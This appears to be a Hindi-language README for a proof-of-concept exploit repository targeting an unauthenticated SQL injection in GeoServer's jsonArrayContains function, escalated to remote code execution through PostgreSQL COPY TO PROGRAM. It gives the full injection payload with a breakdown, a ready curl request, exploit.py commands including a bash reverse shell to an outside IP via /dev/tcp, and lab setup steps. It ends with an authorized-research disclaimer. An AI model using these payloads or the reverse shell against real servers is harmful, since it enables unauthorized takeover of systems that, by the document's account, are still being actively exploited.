
POC | GeoServer बिना प्रमाणीकरण के SQL इंजेक्शन से पूर्ण RCE
CVE: CVE-2026-76904 | CVSS: 9.8 (गंभीर)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
यह भेद्यता GeoServer/GeoTools टीम द्वारा GHSA-mqjf-5f49-2fjh निर्दिष्ट की गई है और अगस्त 2026 से इसे सक्रिय रूप से एक्सप्लॉइट किया जा रहा है।
इस भेद्यता के लिए पैच जारी कर दिया गया है, लेकिन चूँकि यह बहुत नई है (1786870173), इसलिए इसे अभी भी वेब पर व्यापक रूप से एक्सप्लॉइट किया जा रहा है।
21 अगस्त 2026 - CVE पहचानकर्ता प्राप्त हुआ: CVE-2026-76904
GeoServer के jsonArrayContains फ़ंक्शन में बिना प्रमाणीकरण के SQL इंजेक्शन
-> PostgreSQL COPY TO PROGRAM के माध्यम से रिमोट कोड एक्सेक्यूशन (RCE)।
GeoServer (विशेष रूप से GeoTools) का jsonArrayContains फ़ंक्शन, जो PostgreSQL में JSON ऐरे को क्वेरी करने के लिए उपयोग किया जाता है, में एक गंभीर SQL इंजेक्शन भेद्यता है। तीसरा पैरामीटर (expected) बिना किसी सैनिटाइज़ेशन, एस्केपिंग या पैरामीटर बाइंडिंग के सीधे SQL क्वेरी में जोड़ दिया जाता है।
विशेष रूप से यह:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
यह भेद्यता GeoTools की FilterToSqlHelper.constructEquality विधि से उत्पन्न होती है।
jsonArrayContains फ़ंक्शन का तीसरा पैरामीटर (expected) बिना किसी एस्केपिंग के String.formatted() का उपयोग करके सीधे SQL स्ट्रिंग में लिखा जाता है।
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
यह खामी कोई नया बग नहीं है, बल्कि यह CVE-2023-25158 (एक समान CVSS 9.8 SQL इंजेक्शन भेद्यता) का रीग्रेशन है।
यह नई भेद्यता तब आई जब GEOT-7589 ने PostgreSQL 12+ के लिए jsonb_path_exists सपोर्ट जोड़ा।
2023 के पैच ने jsonArrayContains फ़ंक्शन को सुरक्षित नहीं किया, जिसे उस सुधार के बाद जोड़ा/संशोधित किया गया था।
मूल रूप से यह:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
पेलोड विवरण:
| घटक | उद्देश्य |
|---|---|
jsonArrayContains(data,'/x','y")\'') | तैयार किए गए तीसरे पैरामीटर के साथ फ़ंक्शन को कॉल करता है |
OR 1=1)) | JSON पाथ और फ़ंक्शन कॉल को बंद करता है |
AS gt_injected; | व्युत्पन्न तालिका को उपनाम (alias) देता है |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | PostgreSQL RCE कमांड |
--')=true | शेष SQL को कमेंट कर देता है |
मैन्युअल curl
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
WFS 2.0 क्लोज़र पैटर्न mhtsec के शोध से अनुकूलित है।
कोई भी curl चलाना नहीं चाहता, है न? यह रहा exploit.py का उपयोग
फ़ाइल निर्माण PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
RCE PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
सरलता के लिए एक docker-compose.yml प्रदान किया गया है ताकि PoC के साथ त्वरित शुरुआत की जा सके।
इसका उपयोग करके इनिशियलाइज़ेशन के बाद
Docker compose up -d
हम उपलब्ध REST API का उपयोग करके वातावरण सेटअप कर सकते हैं
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
लेयर प्रकाशित करें
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
यह रिपॉज़िटरी GeoServer ;jsonArrayContains; ज़ीरो-डे SQL इंजेक्शन से RCE भेद्यता के लिए एक स्वतंत्र प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट है। इस भेद्यता को मूल रूप से 秋风 (@q1uf3ng) द्वारा खोजा और प्रकट किया गया था। एक्सप्लॉइट श्रृंखला को नियंत्रित लैब वातावरण में पुनः निर्मित और मान्य किया गया है।
यह परियोजना केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और पृथक प्रयोगशाला वातावरण में परीक्षण के लिए है।
मालिक से स्पष्ट प्राधिकरण के बिना इस सॉफ़्टवेयर का उपयोग सिस्टम, नेटवर्क या डेटा के विरुद्ध न करें। सभी लागू कानूनों का पालन करने और इस परियोजना के उपयोग से उत्पन्न किसी भी परिणाम के लिए आप पूरी तरह ज़िम्मेदार हैं।
लेखक, YonLiud, इस परियोजना को बिना किसी प्रकार की वारंटी के “जैसा है” (as is) प्रदान करता है, और इस सॉफ़्टवेयर या व्युत्पन्न कार्यों से होने वाली क्षति, डेटा हानि, सेवा व्यवधान, अनधिकृत पहुँच या अन्य दुरुपयोग के लिए कोई ज़िम्मेदारी स्वीकार नहीं करता है।
इस परियोजना का उपयोग करके, आप इन शर्तों को स्वीकार करते हैं।